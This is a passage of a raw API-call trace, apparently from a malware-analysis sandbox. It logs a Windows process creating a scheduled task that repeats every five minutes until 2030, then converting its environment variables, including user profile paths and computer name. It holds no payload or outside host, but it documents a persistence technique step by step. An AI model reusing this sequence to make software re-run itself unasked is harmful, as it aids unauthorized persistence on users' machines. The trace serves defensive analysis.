[0042.651] ITaskSettings:get_IdleSettings (in: This=0x2f30f18, ppIdleSettings=0x18e8b0 | out: ppIdleSettings=0x18e8b0*=0x2f30f88) returned 0x0 [0042.651] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5428 [0042.651] IIdleSettings:put_WaitTimeout (This=0x2f30f88, WaitTimeout="PT5M") returned 0x0 [0042.651] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5428 | out: hHeap=0xcf0000) returned 1 [0042.651] IUnknown:Release (This=0x2f30f88) returned 0x1 [0042.651] ITaskDefinition:get_Triggers (in: This=0x2f30da8, ppTriggers=0x18e8ac | out: ppTriggers=0x18e8ac*=0x2f30ed8) returned 0x0 [0042.652] ITriggerCollection:Create (in: This=0x2f30ed8, Type=1, ppTrigger=0x18e8b8 | out: ppTrigger=0x18e8b8*=0x2f31058) returned 0x0 [0042.652] IUnknown:Release (This=0x2f30ed8) returned 0x1 [0042.652] IUnknown:QueryInterface (in: This=0x2f31058, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18e8d4 | out: ppvObject=0x18e8d4*=0x2f31058) returned 0x0 [0042.652] IUnknown:Release (This=0x2f31058) returned 0x2 [0042.652] ITrigger:get_Repetition (in: This=0x2f31058, ppRepeat=0x18e8c0 | out: ppRepeat=0x18e8c0*=0x2f310a8) returned 0x0 [0042.652] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5428 [0042.652] IRepetitionPattern:put_Interval (This=0x2f310a8, Interval="PT5M") returned 0x0 [0042.652] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5428 | out: hHeap=0xcf0000) returned 1 [0042.652] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5428 [0042.652] IRepetitionPattern:put_Duration (This=0x2f310a8, Duration="") returned 0x0 [0042.653] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5428 | out: hHeap=0xcf0000) returned 1 [0042.654] ITrigger:put_Repetition (This=0x2f31058, Repetition=0x2f310a8) returned 0x0 [0042.654] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5428 [0042.654] ITrigger:put_Id (This=0x2f31058, Id="Trigger1") returned 0x0 [0042.654] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5428 | out: hHeap=0xcf0000) returned 1 [0042.654] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5428 [0042.654] ITrigger:put_EndBoundary (This=0x2f31058, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0042.654] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5428 | out: hHeap=0xcf0000) returned 1 [0042.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e394 | out: lpSystemTimeAsFileTime=0x18e394*(dwLowDateTime=0x3af57000, dwHighDateTime=0x1d53dff)) [0042.654] GetLastError () returned 0x0 [0042.654] SetLastError (dwErrCode=0x0) [0042.654] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x24) returned 0x3a26ff0 [0042.654] GetLastError () returned 0x0 [0042.654] SetLastError (dwErrCode=0x0) [0042.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0042.654] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1f) returned 0x3a35538 [0042.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3a35538, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x4) returned 0x39a75c8 [0042.655] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39a75c8) returned 0x4 [0042.655] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39a75c8, Size=0x8) returned 0x39a75f8 [0042.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0042.655] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x36) returned 0xdae710 [0042.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0xdae710, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39a75f8) returned 0x8 [0042.655] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39a75f8, Size=0xc) returned 0x39f5428 [0042.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0042.655] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x37) returned 0x3a1c768 [0042.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3a1c768, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.656] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39f5428) returned 0xc [0042.656] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39f5428, Size=0x10) returned 0x39f5458 [0042.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0042.656] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3c) returned 0x39ffc90 [0042.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x39ffc90, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39f5458) returned 0x10 [0042.656] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39f5458, Size=0x14) returned 0xda6068 [0042.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0042.656] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x31) returned 0x3a1c6e8 [0042.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3a1c6e8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda6068) returned 0x14 [0042.657] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xda6068, Size=0x18) returned 0xda5c28 [0042.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.657] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x17) returned 0xda6068 [0042.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0xda6068, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.657] SetLastError (dwErrCode=0x0) [0042.657] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda5c28) returned 0x18 [0042.658] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xda5c28, Size=0x1c) returned 0x3a35560 [0042.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0042.658] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x24) returned 0x3a27020 [0042.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x3a27020, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.658] GetLastError () returned 0x0 [0042.658] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a35560) returned 0x1c [0042.659] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a35560, Size=0x20) returned 0x3a35588 [0042.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0042.659] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x14) returned 0xda5c28 [0042.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0xda5c28, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a35588) returned 0x20 [0042.660] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a35588, Size=0x24) returned 0x3a271d0 [0042.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.660] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0xd) returned 0x39f5458 [0042.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x39f5458, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a271d0) returned 0x24 [0042.661] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a271d0, Size=0x28) returned 0x3a271a0 [0042.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0042.661] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x25) returned 0x3a271d0 [0042.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3a271d0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.662] SetLastError (dwErrCode=0x0) [0042.662] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a271a0) returned 0x28 [0042.663] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a271a0, Size=0x2c) returned 0x3a28d40 [0042.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0042.663] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x39) returned 0x39fffa8 [0042.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x39fffa8, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.663] SetLastError (dwErrCode=0x0) [0042.663] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a28d40) returned 0x2c [0042.664] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a28d40, Size=0x30) returned 0x3a28cd0 [0042.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0042.664] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x18) returned 0xda60a8 [0042.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0xda60a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0042.664] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a28cd0) returned 0x30 [0042.666] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a28cd0, Size=0x34) returned 0x3a1c7a8 [0042.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.666] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x17) returned 0x39f6e28 [0042.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x39f6e28, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 